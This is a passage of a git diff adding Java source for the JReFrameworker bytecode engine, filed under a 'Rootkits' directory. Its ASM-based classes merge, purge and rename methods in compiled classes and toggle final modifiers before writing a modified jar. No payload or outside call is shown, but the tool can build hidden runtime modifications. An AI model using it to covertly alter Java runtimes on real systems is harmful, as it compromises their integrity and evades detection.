defineMethodFinalityAnnotation : defineFinalityIdentifier.getTargetMethods()){ + if(phase == -1 || defineMethodFinalityAnnotation.getPhase() == phase){ + // final is not a valid modifier for initializers so no need to consider that case + String className = defineMethodFinalityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(methodNode.name.equals(defineMethodFinalityAnnotation.getMethodName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + if(defineMethodFinalityAnnotation.getFinality()){ + methodNode.access = methodNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + methodNode.name + " method to be final."); + } else { + methodNode.access = methodNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + methodNode.name + " method to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + } + } + } + } + // update fields + for(DefineFieldFinalityAnnotation defineFieldFinalityAnnotation : defineFinalityIdentifier.getTargetFields()){ + if(phase == -1 || defineFieldFinalityAnnotation.getPhase() == phase){ + String className = defineFieldFinalityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(defineFieldFinalityAnnotation.getFieldName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access)); + if(defineFieldFinalityAnnotation.getFinality()){ + fieldNode.access = fieldNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + fieldNode.name + " field to be final."); + } else { + fieldNode.access = fieldNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + fieldNode.name + " field to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + break; // should only be one match + } + } + } + } + return processed; + } + + public void save(File outputFile) throws IOException { + for(String entry : purgedEntries){ + jarModifier.remove(entry + ".class"); + } + for(Entry entry : bytecodeCache.entrySet()){ + jarModifier.add(entry.getKey() + ".class", entry.getValue().getBytecode(), true); + } + jarModifier.save(outputFile); + } + + private byte[] mergeClasses(byte[] baseClass, byte[] classToMerge) throws IOException { + // read the classes into ClassNode objects + ClassNode baseClassNode = BytecodeUtils.getClassNode(baseClass); + ClassNode classToMergeClassNode = BytecodeUtils.getClassNode(classToMerge); + + // get a list of base methods conflicting with methods to merge + BaseMethodsIdentifier baseMethodsIdentifier = new BaseMethodsIdentifier(baseClassNode); + LinkedList baseMethods = baseMethodsIdentifier.getBaseMethods(); + + // identify methods to insert or replace + DefineIdentifier defineMethodsIdentifier = new DefineIdentifier(classToMergeClassNode); + LinkedList methodsToDefine = defineMethodsIdentifier.getDefineMethodAnnotations(); + + // identify methods to merge + MergeIdentifier mergeIdentifier = new MergeIdentifier(classToMergeClassNode); + LinkedList methodToMergeAnnotations = mergeIdentifier.getMergeMethodAnnotations(); + + // rename base methods that should be preserved + LinkedList renamedMethods = new LinkedList(); + for(MergeMethodAnnotation methodToMergeAnnotation : methodToMergeAnnotations){ + MethodNode methodToMerge = methodToMergeAnnotation.getMethodNode(); + boolean foundTargetMethod = false; + for(MethodNode baseMethod : baseMethods){ + if(methodToMerge.signature != null && baseMethod.signature != null){ + if(methodToMerge.signature.equals(baseMethod.signature)){ + if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){ + renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod)); + foundTargetMethod = true; + continue; + } + } + } else { + // signature was null, fall back to name and description only + if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){ + renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod)); + foundTargetMethod = true; + continue; + } + } + } + if(!foundTargetMethod){ + Log.warning("Target method " + methodToMerge.desc.toString() + " does not exist! Runtime behavior may not be correct."); + } + } + + // purge defined methods that were already there + // adapt a ClassWriter with the PurgeAdapter + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + Set methodsToPurge = new HashSet(); + for(DefineMethodAnnotation methodToDefine : methodsToDefine){ + methodsToPurge.add(methodToDefine.getMethodNode()); + } + Set fieldsToPurge = new HashSet(); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodsToPurge, fieldsToPurge); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + baseClassNode = BytecodeUtils.getClassNode(classWriter.toByteArray()); + + // merge the classes + // adapt a ClassWriter with the MergeAdapter + // modifiedBaseClass, classToMerge -> MergeAdapter -> ClassWriter + classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + MergeAdapter mergeAdapter = new MergeAdapter(classWriter, classToMergeClassNode, mergeRenamePrefix, renamedMethods); + ClassReader modifiedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode)); + modifiedBaseClassReader.accept(mergeAdapter, ClassReader.EXPAND_FRAMES); + return classWriter.toByteArray(); + } + + private String renameMethod(MethodNode methodToRename) { + // first remove any annotations from renamed base methods + AnnotationUtils.clearMethodAnnotations(methodToRename); + + // rename the method + String originalMethodName = methodToRename.name; + String renamedMethodName = mergeRenamePrefix + methodToRename.name; + methodToRename.name = renamedMethodName; + + // make the method private to hide it from the end user + methodToRename.access = methodToRename.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + methodToRename.access = methodToRename.access | Opcodes.ACC_PRIVATE; + + Log.info("Renamed " + originalMethodName + " to " + renamedMethodName); + + return originalMethodName; // return the original name + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/MergeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/MergeAdapter.java new file mode 100644 index 0000000..c1e253c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/MergeAdapter.java @@ -0,0 +1,233 @@ +package com.jreframeworker.engine; + +import java.util.Iterator; +import java.util.LinkedList; + +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.commons.RemappingMethodAdapter; +import org.objectweb.asm.commons.SimpleRemapper; +import org.objectweb.asm.tree.AbstractInsnNode; +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldInsnNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.FrameNode; +import org.objectweb.asm.tree.IincInsnNode; +import org.objectweb.asm.tree.InsnList; +import org.objectweb.asm.tree.InsnNode; +import org.objectweb.asm.tree.IntInsnNode; +import org.objectweb.asm.tree.InvokeDynamicInsnNode; +import org.objectweb.asm.tree.JumpInsnNode; +import org.objectweb.asm.tree.LabelNode; +import org.objectweb.asm.tree.LdcInsnNode; +import org.objectweb.asm.tree.LineNumberNode; +import org.objectweb.asm.tree.LookupSwitchInsnNode; +import org.objectweb.asm.tree.MethodInsnNode; +import org.objectweb.asm.tree.MethodNode; +import org.objectweb.asm.tree.MultiANewArrayInsnNode; +import org.objectweb.asm.tree.TableSwitchInsnNode; +import org.objectweb.asm.tree.TypeInsnNode; +import org.objectweb.asm.tree.VarInsnNode; + +import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier; +import com.jreframeworker.engine.log.Log; +import com.jreframeworker.engine.utils.AnnotationUtils; + +/** + * This class is responsible for merging two class files based on + * the merging strategies in the JReFrameworker framework. + * + * References: http://www.jroller.com/eu/entry/merging_class_methods_with_asm + * + * @author Ben Holland + */ +@SuppressWarnings("deprecation") +public class MergeAdapter extends ClassVisitor { + private ClassNode classToMerge; + private String baseClassName; + private String mergeRenamePrefix; + private LinkedList qualifiedRenamedMethods; + + public MergeAdapter(ClassVisitor baseClassVisitor, ClassNode classToMerge, String mergeReamePrefix, LinkedList qualifiedRenamedMethods) { + super(Opcodes.ASM5, baseClassVisitor); + this.classToMerge = classToMerge; + this.mergeRenamePrefix = mergeReamePrefix; + this.qualifiedRenamedMethods = qualifiedRenamedMethods; + } + + @Override + public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { + super.visit(version, access, name, signature, superName, interfaces); + baseClassName = name; + } + + public void visitEnd() { + // copy each field of the class to merge in to the original class + for (Object fieldObject : classToMerge.fields) { + FieldNode fieldNode = (FieldNode) fieldObject; + // only insert the field if it is annotated + if(fieldNode.invisibleAnnotations != null){ + boolean addField = false; + for(Object annotationObject : fieldNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isDefineFieldAnnotation()){ + addField = true; + break; + } + } + if(addField){ + // clear field annotations and insert the field + AnnotationUtils.clearFieldAnnotations(fieldNode); + fieldNode.accept(this); + Log.info("Added Field: " + fieldNode.name); + } + } + } + + // copy each method of the class to merge that is annotated + // with a jref annotation to the original class + for (Object methodObject : classToMerge.methods) { + MethodNode methodNodeToMerge = (MethodNode) methodObject; + + // static initializers need to be handled specially + if(methodNodeToMerge.name.equals("")){ + // TODO: merge static initializers + } else if(methodNodeToMerge.name.equals("")){ + // TODO: merge initializers + } else { + boolean define = false; + boolean merge = false; + // check if method is annotated with a jref annotation + LinkedList jrefAnnotations = new LinkedList(); + if (methodNodeToMerge.invisibleAnnotations != null) { + for (Object annotationObject : methodNodeToMerge.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + // check if the annotation is a jref annotation + JREFAnnotationIdentifier jrefChecker = new JREFAnnotationIdentifier(); + jrefChecker.visitAnnotation(annotation.desc, false); + if(jrefChecker.isJREFAnnotation()){ + jrefAnnotations.add(annotation); + if(jrefChecker.isDefineMethodAnnotation()){ + define = true; + } + if(jrefChecker.isMergeMethodAnnotation()){ + merge = true; + } + } + } + } + + // if the method is annotated with @DefineMethod or @MergeMethod, add the method + if(define || merge){ + // in any case, strip the jref annotations from the method + methodNodeToMerge.invisibleAnnotations.removeAll(jrefAnnotations); + if(merge){ + mergeMethod(methodNodeToMerge, qualifiedRenamedMethods); + Log.info("Merged Method: " + methodNodeToMerge.name); + } else { + addMethod(methodNodeToMerge); + Log.info("Added Method: " + methodNodeToMerge.name); + } + } + } + } + + super.visitEnd(); + } + + /** + * Adds the method to the base class + * @param methodNode + */ + private void addMethod(MethodNode methodNode){ + String[] exceptions = new String[methodNode.exceptions.size()]; + methodNode.exceptions.toArray(exceptions); + MethodVisitor mv = cv.visitMethod(methodNode.access, methodNode.name, methodNode.desc, methodNode.signature, exceptions); + + methodNode.instructions.resetLabels(); + // SimpleRemapper -> maps old name to new name + // updates owners and descriptions appropriately + methodNode.accept(new RemappingMethodAdapter(methodNode.access, methodNode.desc, mv, new SimpleRemapper(classToMerge.name, baseClassName))); + } + + /** + * Performs some merge changes to the method instructions then adds the method + * @param methodNode + * @param qualifiedRenamedMethods + */ + @SuppressWarnings("unused") + private void mergeMethod(MethodNode methodNode, LinkedList qualifiedRenamedMethods) { + // clean up method instructions + InsnList instructions = methodNode.instructions; + Iterator instructionIterator = instructions.iterator(); + while (instructionIterator.hasNext()) { + AbstractInsnNode abstractInstruction = instructionIterator.next(); + if (abstractInstruction instanceof FieldInsnNode) { + FieldInsnNode instruction = (FieldInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof FrameNode) { + FrameNode instruction = (FrameNode) abstractInstruction; + } else if (abstractInstruction instanceof IincInsnNode) { + IincInsnNode instruction = (IincInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof InsnNode) { + InsnNode instruction = (InsnNode) abstractInstruction; + } else if (abstractInstruction instanceof IntInsnNode) { + IntInsnNode instruction = (IntInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof InvokeDynamicInsnNode) { + InvokeDynamicInsnNode instruction = (InvokeDynamicInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof JumpInsnNode) { + JumpInsnNode instruction = (JumpInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof LabelNode) { + LabelNode instruction = (LabelNode) abstractInstruction; + } else if (abstractInstruction instanceof LdcInsnNode) { + LdcInsnNode instruction = (LdcInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof LineNumberNode) { + LineNumberNode instruction = (LineNumberNode) abstractInstruction; + } else if (abstractInstruction instanceof LookupSwitchInsnNode) { + LookupSwitchInsnNode instruction = (LookupSwitchInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof MethodInsnNode) { + MethodInsnNode instruction = (MethodInsnNode) abstractInstruction; + // check if the method call needs to be changed to a renamed method name + // replace calls to super.x methods with prefix+x calls in the class to merge + // TODO: should check more than just the name, need to check whole method signature + for (String renamedMethod : qualifiedRenamedMethods) { + String qualifiedMethodName = instruction.owner + "." + instruction.name; + if ((qualifiedMethodName).equals(renamedMethod)) { + // this method has been renamed, we need to rename the call as well + instruction.name = mergeRenamePrefix + instruction.name; + + // if the renamed method was a special invocation then we were + // calling the preserved method using super.foo(), so we need + // to make it a virtual invocation instead of special invocation + if (instruction.getOpcode() == Opcodes.INVOKESPECIAL) { + instruction.setOpcode(Opcodes.INVOKEVIRTUAL); + } + } + + // if the renamed method was a static invocation + // and the static invocation is to the class being merged in + // then we are calling the new static method so we need to change the owner + if (instruction.getOpcode() == Opcodes.INVOKESTATIC) { + if(classToMerge.name.equals(instruction.owner) && instruction.name.equals(renamedMethod)){ + instruction.owner = baseClassName; + } + } + } + } else if (abstractInstruction instanceof MultiANewArrayInsnNode) { + MultiANewArrayInsnNode instruction = (MultiANewArrayInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof TableSwitchInsnNode) { + TableSwitchInsnNode instruction = (TableSwitchInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof TypeInsnNode) { + TypeInsnNode instruction = (TypeInsnNode) abstractInstruction; + } else if (abstractInstruction instanceof VarInsnNode) { + VarInsnNode instruction = (VarInsnNode) abstractInstruction; + } + } + + // finally insert the method + addMethod(methodNode); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/PurgeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/PurgeAdapter.java new file mode 100644 index 0000000..c9f9351 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/PurgeAdapter.java @@ -0,0 +1,111 @@ +package com.jreframeworker.engine; + +import java.util.HashSet; +import java.util.Set; + +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.FieldVisitor; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.MethodNode; + +import com.jreframeworker.engine.log.Log; + +/** + * This class is responsible for purging methods and fields from a class + * + * Reference: http://asm.ow2.org/doc/faq.html#Q1 + * + * @author Ben Holland + */ +public class PurgeAdapter extends ClassVisitor { + + private Set methodsToPurge; + private Set fieldsToPurge; + + public PurgeAdapter(ClassVisitor classVisitor, MethodNode... methodsToPurgeArray) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = new HashSet(); + this.fieldsToPurge = new HashSet(); + for(MethodNode methodNode : methodsToPurgeArray){ + methodsToPurge.add(methodNode); + } + } + + public PurgeAdapter(ClassVisitor classVisitor, FieldNode... fieldsToPurgeArray) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = new HashSet(); + this.fieldsToPurge = new HashSet(); + for(FieldNode fieldNode : fieldsToPurgeArray){ + fieldsToPurge.add(fieldNode); + } + } + + public PurgeAdapter(ClassVisitor classVisitor, Set methodsToPurge, Set fieldsToPurge) { + super(Opcodes.ASM5, classVisitor); + this.methodsToPurge = methodsToPurge; + this.fieldsToPurge = fieldsToPurge; + } + +// private Collection methodsToPurgeAnnotations; +// private Collection fieldsToPurgeAnnotations; +// +// public PurgeAdapter(ClassVisitor baseClassVisitor, Collection methodsToPurgeAnnotations, Collection fieldsToPurgeAnnotations) { +// super(Opcodes.ASM5, baseClassVisitor); +// this.methodsToPurgeAnnotations = methodsToPurgeAnnotations; +// this.fieldsToPurgeAnnotations = fieldsToPurgeAnnotations; +// } + + @Override + public FieldVisitor visitField(int access, String name, String desc, String signature, Object value) { + // purge based on FieldNode references + for (FieldNode fieldToPurge : fieldsToPurge) { + if (fieldToPurge.signature != null && signature != null) { + if (fieldToPurge.signature.equals(signature)) { + if (fieldToPurge.name.equals(name) && fieldToPurge.desc.equals(desc)) { + // return null in order to remove this field + Log.info("Purged Field: " + name); + return null; + } + } + } else { + // signature was null, fall back to name and description only + if (fieldToPurge.name.equals(name) && fieldToPurge.desc.equals(desc)) { + // return null in order to remove this field + Log.info("Purged Field: " + name); + return null; + } + } + } + + // make the next visitor visit this field, in order to keep it + return super.visitField(access, name, desc, signature, value); + } + + @Override + public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions){ + for (MethodNode methodToPurge : methodsToPurge) { + if (methodToPurge.signature != null && signature != null) { + if (methodToPurge.signature.equals(signature)) { + if (methodToPurge.name.equals(name) && methodToPurge.desc.equals(desc)) { + // return null in order to remove this method + Log.info("Purged Method: " + name); + return null; + } + } + } else { + // signature was null, fall back to name and description only + if (methodToPurge.name.equals(name) && methodToPurge.desc.equals(desc)) { + // return null in order to remove this method + Log.info("Purged Method: " + name); + return null; + } + } + } + + // make the next visitor visit this field, in order to keep it + return super.visitMethod(access, name, desc, signature, exceptions); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java new file mode 100644 index 0000000..c3cb228 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/BaseMethodsIdentifier.java @@ -0,0 +1,22 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; + +public class BaseMethodsIdentifier { + + private LinkedList baseMethods = new LinkedList(); + + public BaseMethodsIdentifier(ClassNode classNode) { + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + baseMethods.add(methodNode); + } + } + + public LinkedList getBaseMethods() { + return baseMethods; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java new file mode 100644 index 0000000..080593d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineFinalityIdentifier.java @@ -0,0 +1,298 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class DefineFinalityIdentifier { + + public static Set getFinalityTargets(ClassNode classNode) throws IOException { + DefineFinalityIdentifier finalityIdentifier = new DefineFinalityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeFinalityAnnotation annotation : finalityIdentifier.getTargetTypes()){ + targets.add(annotation.getClassName()); + } + for(DefineMethodFinalityAnnotation annotation : finalityIdentifier.getTargetMethods()){ + targets.add(annotation.getClassName()); + } + for(DefineFieldFinalityAnnotation annotation : finalityIdentifier.getTargetFields()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + public static Set getFinalityTargets(ClassNode classNode, int phase) throws IOException { + DefineFinalityIdentifier finalityIdentifier = new DefineFinalityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeFinalityAnnotation annotation : finalityIdentifier.getTargetTypes()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineMethodFinalityAnnotation annotation : finalityIdentifier.getTargetMethods()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineFieldFinalityAnnotation annotation : finalityIdentifier.getTargetFields()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + private static final String FINALITY = "finality"; + + public static class DefineTypeFinalityAnnotation { + private int phase; + private String className; + private boolean finality; + + public DefineTypeFinalityAnnotation(int phase, String className, boolean finality) { + this.phase = phase; + this.className = className; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public boolean getFinality(){ + return finality; + } + } + + public static class DefineMethodFinalityAnnotation { + private int phase; + private String className; + private String methodName; + private boolean finality; + + public DefineMethodFinalityAnnotation(int phase, String className, String methodName, boolean finality) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + + public boolean getFinality(){ + return finality; + } + } + + public static class DefineFieldFinalityAnnotation { + private int phase; + private String className; + private String fieldName; + private boolean finality; + + public DefineFieldFinalityAnnotation(int phase, String className, String fieldName, boolean finality) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + this.finality = finality; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + + public boolean getFinality(){ + return finality; + } + } + + private LinkedList targetTypes = new LinkedList(); + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + @SuppressWarnings("rawtypes") + public DefineFinalityIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // type finalities + if(checker.isDefineTypeFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineTypeFinalityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineTypeFinalityAnnotation()){ + extractDefineTypeFinalityAnnotationValues(classNode, annotation); + } + + // method finalities + else if(checker.isDefineMethodFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineMethodFinalityValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isDefineMethodFinalityAnnotation()){ + extractDefineMethodFinalityValues(classNode, annotation); + } + + // field finalities + else if(checker.isDefineFieldFinalitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineFieldFinalityValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isDefineFieldFinalityAnnotation()){ + extractDefineFieldFinalityValues(classNode, annotation); + } + } + } + } + + private void extractDefineFieldFinalityValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && fieldValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetFields.add(new DefineFieldFinalityAnnotation(phaseValue, className, fieldValue, finalityValue)); + } + } + } + + private void extractDefineMethodFinalityValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && methodValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetMethods.add(new DefineMethodFinalityAnnotation(phaseValue, className, methodValue, finalityValue)); + } + } + } + + private void extractDefineTypeFinalityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + Boolean finalityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FINALITY)){ + finalityValue = (boolean) value; + } + } + if(typeValue != null && finalityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetTypes.add(new DefineTypeFinalityAnnotation(phaseValue, className, finalityValue)); + } + } + } + + public LinkedList getTargetTypes() { + return targetTypes; + } + + public LinkedList getTargetMethods() { + return targetMethods; + } + + public LinkedList getTargetFields() { + return targetFields; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java new file mode 100644 index 0000000..0e13a33 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineIdentifier.java @@ -0,0 +1,144 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; +import org.objectweb.asm.tree.FieldNode; + +public class DefineIdentifier { + + private static final String PHASE = "phase"; + + public static class DefineTypeAnnotation { + private int phase; + private ClassNode classNode; + + public DefineTypeAnnotation(int phase, ClassNode classNode) { + this.phase = phase; + this.classNode = classNode; + } + + public int getPhase(){ + return phase; + } + + public ClassNode getClassNode(){ + return classNode; + } + } + + public static class DefineMethodAnnotation { + private MethodNode methodNode; + + public DefineMethodAnnotation(MethodNode methodNode) { + this.methodNode = methodNode; + } + + public MethodNode getMethodNode(){ + return methodNode; + } + } + + public static class DefineFieldAnnotation { + private FieldNode fieldNode; + + public DefineFieldAnnotation(FieldNode fieldNode) { + this.fieldNode = fieldNode; + } + + public FieldNode getFieldNode(){ + return fieldNode; + } + } + + private DefineTypeAnnotation targetType = null; + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + public DefineIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // types + if(checker.isDefineTypeAnnotation()){ + extractDefineTypeAnnotationValues(classNode, annotation); + } + } + } + + // methods + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if (methodNode.invisibleAnnotations != null) { + for (Object annotationObject : methodNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isDefineMethodAnnotation()){ + extractDefineMethodValues(methodNode, annotation); + } + } + } + } + + // fields + for (Object o : classNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if (fieldNode.invisibleAnnotations != null) { + for (Object annotationObject : fieldNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isDefineFieldAnnotation()){ + extractDefineFieldValues(fieldNode, annotation); + } + } + } + } + } + + private void extractDefineFieldValues(FieldNode fieldNode, AnnotationNode annotation) { + if(fieldNode != null){ + targetFields.add(new DefineFieldAnnotation(fieldNode)); + } + } + + private void extractDefineMethodValues(MethodNode methodNode, AnnotationNode annotation) { + if(methodNode != null){ + targetMethods.add(new DefineMethodAnnotation(methodNode)); + } + } + + private void extractDefineTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) 